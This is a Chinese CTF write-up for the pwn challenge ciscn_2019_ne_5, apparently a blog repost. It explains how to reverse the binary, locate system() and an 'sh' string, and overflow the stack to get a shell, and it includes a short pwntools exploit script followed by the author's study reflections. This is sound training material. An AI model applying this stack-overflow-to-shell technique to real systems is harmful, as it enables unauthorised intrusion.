ciscn_2019_ne_5


  原來system的參數不一定必須是“/bin/sh”,單獨的“sh”也可以拿到shell。。。

  32位程序,開啟了堆棧不可執行。

  看一眼偽代碼

  直接找main函數f5,會報錯。

  

  我們找到地址0x8048801看看是什么

  

  是一個scanf函數,這里我們找到這個函數,先按f5把它反編譯一下,之后再反編譯main函數就可以成功了。

  

  兩次輸入,一個輸出administrator就可以進入菜單,這里我們主要看功能3

  print函數跟進去。

  

  發現了system函數,這個時候我們假如可以調用這個函數,並且參數是“/bin/sh”或者是“sh”,我們就可以拿到shell了。。。這個時候就需要我們去找找這個字符串了。

  

  其實我第一次是在ida找到了。剛剛試了試發現用ROPgadget可以直接搜索到。。。突然覺得ROPgadget好強。。。

  接下來就是利用其他功能進行棧溢出了,溢出的地址覆蓋成system的地址,這個時候我們就能拿到shell了。

  貼一下exp:

 1 from pwn import *
 2 import time
 3 #p = process('./ciscn_2019_ne_5')
 4 elf = ELF('./ciscn_2019_ne_5')
 5 context.log_level = 'debug'
 6 
 7 system_addr = 0x080484D0
 8 sh_addr = 0x080482Ea
 9 puts_plt = elf.plt['puts']
10 puts_got = elf.got['puts']
11 
12 p.sendlineafter('password:','administrator')
13 payload = '1'*0x48 + 'bbbb' + p32(system_addr) + 'aaaa' + p32(sh_addr)
14 p.sendlineafter(':','1')
15 p.sendlineafter('info:',payload)
16 p.sendlineafter(':','4')
17 p.interactive()

  

 

  說點題外的,從去年十月份計划開始學習pwn,斷斷續續一直前進不去。終於寒假了,加上疫情。只能在家,嚴格意義上來說是1月12號開始學習的pwn,到現在也40天了,四十天終於理解了格式化字符串,對棧溢出真正掌握了,還了解了棧遷移,學了plt、got表,libc版本的知識點。我覺得學了其實也不少。

  但是,新春戰役這個比賽,我還是一道題做不出來,我真的是。。。!!!太廢了。。。

  一直說要開始學習堆,卻也一直沒開始。。。

  😭我真的是太菜了!!!啊啊啊啊啊!!!

  我到底什么時候才能變強啊!!!

  你所謂的迷茫,不過是清醒地看着自己沉淪。!!!

  加油啊!!!你一定可以做出題來,打到線下,去見更大的世界!!!


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM